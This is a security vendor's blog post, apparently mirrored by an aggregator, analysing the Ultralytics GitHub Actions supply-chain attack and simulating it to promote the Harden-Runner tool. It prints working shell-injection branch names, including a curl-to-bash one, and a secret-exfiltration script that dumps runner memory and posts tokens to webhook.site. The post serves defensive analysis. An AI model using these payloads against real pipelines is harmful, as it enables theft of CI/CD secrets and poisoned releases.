惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
B
Blog RSS Feed
量子位
aimingoo的专栏
aimingoo的专栏
V
Visual Studio Blog
Y
Y Combinator Blog
Vercel News
Vercel News
云风的 BLOG
云风的 BLOG
宝玉的分享
宝玉的分享
Engineering at Meta
Engineering at Meta
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
GbyAI
GbyAI
人人都是产品经理
人人都是产品经理
博客园 - 叶小钗
Stack Overflow Blog
Stack Overflow Blog
大猫的无限游戏
大猫的无限游戏
Microsoft Security Blog
Microsoft Security Blog
B
Blog
Last Week in AI
Last Week in AI
有赞技术团队
有赞技术团队
博客园 - 聂微东
腾讯CDC
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
J
Java Code Geeks

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity
Prevent Ultralytics Style CI/CD Security Attacks with Net...
2025-07-08 · via Step Security Blog

Introduction

Ultralytics, known for its powerful YOLO models widely used in industries like healthcare, transportation, and agriculture, recently faced a significant compromise in its repository through CI/CD vulnerabilities. This blog post explores how GitHub Actions were exploited to inject a cryptominer, steal sensitive secrets, and poison build caches. We focus on the CI/CD attack vector and demonstrate how StepSecurity Harden-Runner could have detected and mitigated the incident. Similar to our analysis of the backdoored xz-utils build process, we simulate the attack and analyze its impact using Harden-Runner, which has proven effective in detecting real-world incidents, such as those involving GoogleFlank and Microsoft Azure Karpenter Provider.

Before diving into the details, I want to thank the Ultralytics community for their quick response and collaboration in addressing this issue.

Incident Overview

The attack unfolded through a series of malicious pull requests (PRs), targeting vulnerabilities reintroduced in commit ultralytics/actions@c1365ce. Here's a timeline of key events:

  • Commit Regression (August 24, 2024): A vulnerability previously patched was accidentally reintroduced:

Image highlighting a commit (c1365ce) that accidentally reintroduced a previously patched vulnerability in the workflow

This image highlights a commit (c1365ce) that accidentally reintroduced a previously patched vulnerability in the workflow
  • Malicious PRs Created (December 4, 2024): The adversary submitted pull requests with payloads exploiting the vulnerabilities.18018, 18020

a malicious pull request (#18018) created by the attacker

This image displays a malicious pull request (#18018) created by the attacker

A malicious pull request (#18020) created by the attacker

This image shows another pull request (#18020) created by the attacker, further exploiting the workflow vulnerability to execute unauthorized actions
  • Secrets Stolen and Cache Poisoned (December 4-5, 2024): By executing malicious code in a privileged context, CI/CD secrets like secrets._GITHUB_TOKEN were exfiltrated, and the build cache was poisoned to inject a cryptominer in releases v8.3.41 and v8.3.42.

What was the GitHub Actions Vulnerability?

1. Shell Injection Vulnerability in ultralytics/actions

The vulnerable workflow used a custom GitHub Action owned by Ultralytics named ultralytics/actions, which was vulnerable to shell injection. The vulnerability in ultralytics/actions lies in the use of untrusted user inputs, such as branch names or PR titles, directly in shell commands without proper sanitization (see the relevant code snippet here). For example, the run block dynamically constructs a shell command using variables like github.head_ref or github.ref, which can be manipulated by an attacker:

run: |  
  git pull origin ${{ github.head_ref || github.ref }}

If the attacker creates a branch name with a malicious payload, such as $(curl -s http://malicious.com/script.sh | bash), the shell would execute it in the privileged context of the workflow, enabling arbitrary code execution.

The impact of this vulnerability is severe:

  • An attacker can execute arbitrary commands within the CI/CD environment, gaining access to sensitive secrets like _GITHUB_TOKEN.
  • This can result in exfiltration of credentials, poisoning build caches, injecting cryptominers, or manipulating the repository history.

To learn more about this type of vulnerability, check out script injection in CI/CD pipelines.

2. Pwn Request Vulnerability in ultralytics/ultralytics

Another vulnerability arises in the format.yml workflow file, where the pull_request_target event is used. This workflow runs in the context of the base repository when a pull request is created (see the relevant workflow configuration here).

An image showing the format.yml workflow configuration, which uses the pull_request_target event

An image showing the format.yml workflow configuration, which uses the pull_request_target event

When combined with write permissions or access to secrets, this creates a dangerous attack vector.

For example, an attacker can craft a malicious PR with code designed to exploit the base repository’s workflows, gaining access to sensitive secrets or executing privileged operations. This creates a direct path for:

  • Exfiltration of CI/CD secrets like _GITHUB_TOKEN.
  • Execution of arbitrary code in the privileged context of the base repository.
  • Tampering with artifacts, poisoning build caches, and injecting malicious payloads.

To dive deeper into this vulnerability, refer to pwn request vulnerabilities.

How the Adversary Compromised CI/CD

The attacker leveraged these vulnerabilities by crafting malicious pull requests. The pull requests exploited the unsanitized inputs in action.yml and the dangerous use of pull_request_target in format.yml.

Crafting the Exploit

The attacker created a malicious branch with a specially crafted malicious name:

openimbot:${curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc9

When the workflow was triggered, this branch name caused the following payload to execute in the CI/CD environment:

YOUR_EXFIL="webhook.site/31c2eb17-ae87-4aaf-835a-ef2d225d58d0" 
if [[ "$OSTYPE" == "linux-gnu" ]]; then  
  B64_BLOB=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 
  BLOB2=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"CacheServerUrl":"[^"]*"' | sort -u 
  curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null 
fi 

Executing the Attack

  1. Exfiltration of Secrets:
  • The payload leveraged the CI/CD environment to steal secrets such as _GITHUB_TOKEN and secrets required to manage GitHub Actions build cache.
  1. Cache Poisoning and Artifact Tampering:
  • The attacker poisoned the build cache, injecting cryptominers into PyPI releases v8.3.41 and v8.3.42.
  • Artifacts downloaded by users were tampered with, resulting in the execution of malicious cryptomining code on their systems.

Covering Tracks

The malicious scripts referenced in the payload were deleted by the adversary, along with GitHub workflow logs, to erase traces of their activities. However, based on historical patterns and analysis, the payload likely matched the one shown above.

Impact

  • Compromised tokens were exfiltrated, giving the attacker access to the repository and workflows.
  • Artifacts released to PyPI were maliciously altered to include cryptomining code.
  • End users unknowingly installed compromised versions of the package, running the cryptominer on their systems.

By exploiting these vulnerabilities, the attacker carried out a highly impactful supply chain attack, underscoring the need for input sanitization, proper permissions, and secure CI/CD workflows. Because of the complexity, the adversary successfully compromised several Ultralytics PyPI releases, even after the attack was discovered. It took the Ultralytics team and community a while to mitigate the incident.

Harden-Runner Overview

StepSecurity Harden-Runner is a robust security tool that protects CI/CD pipelines from vulnerabilities and supply chain attacks. It provides network egress control and CI/CD infrastructure security for GitHub-hosted and self-hosted runner environments. It is trusted by over 4,800 open-source projects and several enterprise customers for securing their CI/CD runtime environments.

Key Features

  1. Network Monitoring and Anomaly Detection:
    Harden-Runner establishes a baseline of normal network behavior during CI/CD workflows. It flags deviations as anomalies, detecting malicious activities like exfiltration of secrets or unauthorized payload downloads.
  1. Block Policy for Unknown Destinations:
    It enforces a block policy to prevent outbound connections to unapproved endpoints, protecting against cache poisoning, artifact tampering, and data exfiltration.

Simulate the Incident with Harden-Runner

In this section, we simulate the Ultralytics GitHub Actions attack using Harden-Runner to demonstrate how it could have detected and mitigated the vulnerabilities in the workflows.

Setup  

To simulate the GitHub Actions attack that was used to poison the GitHub Actions Cache in the incident, we created a clone of the Ultralytics repository:  

In this repository, there are three relevant GitHub Actions workflows:  

format.yml  

This is the original vulnerable workflow file from the Ultralytics repository.  

format-harden-runner-audit.yml

This workflow is the same as format.yml with StepSecurity Harden-Runner in audit mode.  

Example configuration:

name: Ultralytics Actions Harden-Runner Audit  
on:  
  issues:  
    types: [opened, edited]  
  discussion:  
    types: [created]  
  pull_request_target:  
    branches: [main]  
    types: [opened, closed, synchronize, review_requested]  
  
jobs:  
  format:  
    runs-on: ubuntu-latest  
    steps:  
    - name: Harden Runner  
      uses: step-security/harden-runner@v2  
      with:  
        egress-policy: audit  
  
    - name: Run Ultralytics Formatting  
      uses: ultralytics/actions@eb1201bd933b9f6096c64525ccaee3684c91bf14 

format-harden-runner-block.yml

This workflow is the same as format.yml with StepSecurity Harden-Runner in block mode. The block policy was generated based on the past runs of the workflow.  

Example configuration:

name: Ultralytics Actions Harden-Runner Block  
on:  
  issues:  
    types: [opened, edited]  
  discussion:  
    types: [created]  
  pull_request_target:  
    branches: [main]  
    types: [opened, closed, synchronize, review_requested]  
jobs:  
  format:  
    runs-on: ubuntu-latest  
    steps:  
    - name: Harden Runner  
      uses: step-security/harden-runner@v2  
      with:  
        egress-policy: block  
        allowed-endpoints: >  
            api.github.com:443  
            api.openai.com:443  
            files.pythonhosted.org:443  
            github.com:443  
            objects.githubusercontent.com:443  
            pypi.org:443  
            registry.npmjs.org:443  
 
    - name: Run Ultralytics Formatting  
      uses: ultralytics/actions@eb1201bd933b9f6096c64525ccaee3684c91bf14

Exploit Payload

As the actual GitHub Actions attack payload is unavailable, we will use the payload discovered by Andy Lindeman based on the search for similar branch names in the repository. This payload does seem to be from the threat actor, as the author email address in git log uses the domain that was used by the crypto miner. This payload has been uploaded to the following gist location with a webhook site address that we control:  

YOUR_EXFIL="webhook.site/f48d7c5e-d550-4d08-9272-7791e655eaca"  
  
if [[ "$OSTYPE" == "linux-gnu" ]]; then  
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`  
  # Exfil to Burp  
  curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null  
else  
  exit 0  
fi  
  
BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`  
BLOB2=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"CacheServerUrl":"[^"]*"' | sort -u`  
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null  

Attack Simulation

To simulate the attack, we have forked step-security/ultralytics-clone at ashishkurmi/ultralytics-clone. In the fork, we have created a branch with a malicious name (given below) that exploits the script injection vulnerability.  

$({curl,-sSfL,gist.githubusercontent.com/ashishkurmi/bd7e450e83576108a30d5d990bc1721c/raw/5c7251e0cf8f96b4f4374d72a20c88348178eaab/run.sh}${IFS}|${IFS}bash) 

To trigger the attack, we created a pull request with a dummy change from this branch.

Let’s see what happened when the exploit ran on each of the three workflow files described above:

format.yml

The exploit worked as intended. Exploiting the script injection and Pwn Request vulnerabilities described above led to the execution of attacker-controlled code in a privileged context, which exfiltrated CI/CD secrets. These secrets can be used for poisoning build cache to inject cryptominers / backdoor, making unauthorized code changes, etc.  

You can see the exfiltrated GITHUB_ACTIONS token below:

Image showing the exfiltration of CI/CD secrets, including AccessToken, sent to a controlled webhook by the attacker

This shows the exfiltration of CI/CD secrets, including AccessToken, sent to a controlled webhook by the attacker

You can see the exfiltrated secrets to perform build-cache poisoning below:

Demonstrating the exfiltrated secrets used for build-cache poisoning

Here, the exfiltrated secrets used for build-cache poisoning are demonstrated, highlighting the vulnerability

Similarly, the script above can be used to exfiltrate CI/CD secrets used in the vulnerable workflow such as _GITHUB_TOKEN and OPENAI_API_KEY. If _GITHUB_TOKEN is a PAT associated with a privileged GitHub user, it could be used to steal all GitHub Actions secrets.  

format-harden-runner-audit.yml

As Harden-Runner had monitored previous workflow runs, it had created a baseline of expected outbound network destinations. When the vulnerable GitHub Actions workflow ran with the exploit, it flagged new network endpoints as malicious. You can see the Harden-Runner insights for the run below with the malicious calls highlighted as Anomalous:

Harden-Runner Audit Insights

Harden-Runner Audit Insights

StepSecurity Enterprise customers get real-time notifications for such detections.  

As Harden-Runner was not configured to block calls to unknown destinations, it did allow the malicious calls to go through.  

This detection is similar to how Harden-Runner detected real-world supply chain attacks in Google Flank and Microsoft Azure Karpenter Provider open-source projects.  

format-harden-runner-block.yml

Harden-Runner was configured to block outbound network connections to unknown destinations, you can see the insights for the workflow run below:

Harden-Runner Block Insights

Harden-Runner Block Insights

Harden-Runner blocked the very first network connection to gist.githubusercontent.com to retrieve the exploit payload, preventing the exploitation all together.  

Just like the audit case, StepSecurity enterprise customers receive real-time alerts anytime an outbound connection is blocked.  

Summary  

Because of the highly domain specific knowledge required to build secure CI/CD pipelines, it’s challenging for software developers to build complex CI/CD pipelines without introducing vulnerabilities. In addition, vulnerable CI/CD pipelines in open-source projects are often easily exploitable. Enterprises and open-source communities must use solutions for network egress visibility and runtime monitoring for CI/CD pipeline runs. Harden-Runner is an easy-to-use platform for implementing these runtime security controls for CI/CD.  

Try StepSecurity for Free

References